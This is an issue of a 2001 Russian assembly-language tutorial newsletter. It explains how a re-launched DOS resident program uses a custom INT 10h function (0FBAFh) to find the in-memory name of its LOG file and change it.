Смотрим строки (6) - (12). Если прерывание 10h вызывается с числом 0FBAFh в AX, то это значит, что наш резидент, загружаемый повторно, просит получить сегмент и смещение имени текущего LOG-файла. Спрашивается зачем?

Как я уже отмечал, резидент может менять в процессе работы имя своего LOG-файла. Для этого необходимо запустить его повторно с указанием имени в командной сроке. Например так:

Resid23.com c:\newfile.txt

Резидент, при попытке повторно загрузиться в память, проверит параметры в командной строке. Но как нашему загружаемому резиденту узнать, в каком сегменте находится его загруженная копия?

Для этого мы воспользуемся созданной нами функцией 0FBAFh прерывание 10h (которое резидент перехватывает). В результате, 10h (а точнее наша процедура обработки 10h прерывания) вернет в ES сегмент, а в DI - смещение имени LOG-файла. Вот так:

mov ax,0FBAFh ;Получим сегмент и смещение имени log-файла

int 10h ;Теперь ES - сегмент, а DI - смещение LOG-файла в памяти.

Обратите внимание, что вызываем мы данной прерывание после того, как проверим на повторную загрузку!

Осталось только перенести параметры командной строки в полученные сегмент и смещение!

Вот, что делает наш обработчик 10h прерывания (Int_10h_proc):

__________

cmp ax,0FBAFh ;Это мы получаем текущий адрес log-файла?

jne Run_int

push cs ;Заносим в ES сегмент log-файла.

pop es

mov di,offset File_name ;Заносим в DI смещение log-файла

iret

Вот, вроде и все, что хотел сказать.

Ваше задание: обязательно разберитесь с прилагаемым файлом, т.к. информация, приведенная в нем очень важна для понимания работы резидентных программ. Описаний в файле-приложении более чем достаточно.

На сегодня все! Всем удачи!

С уважением,

Автор рассылки: Калашников Олег

URL сайта подписчиков: http://www.Kalashnikoff.ru

E-mail автора: Assembler@Kalashnikoff.ru

ICQ: 68951340

Москва, 2001.

(C) Авторское право принадлежит автору рассылки. Использование материала из рассылки в коммерческих и иных подобных целях, а также публичное публикование без письменного согласия автора влечет ответственность за нарушение авторских прав. [Следующий выпуск] [На главную страницу]

u="u496.71.spylog.com";d=document;nv=navigator;na=nv.appName;p=1; bv=Math.round(parseFloat(nv.appVersion)*100); n=(na.substring(0,2)=="Mi")?0:1;rn=Math.random();z="p="+p+"&rn="+rn;y=""; y+=""; y+=""; y+=""; d.write(y);if(!n) { d.write("

Соседние файлы в папке Выпуски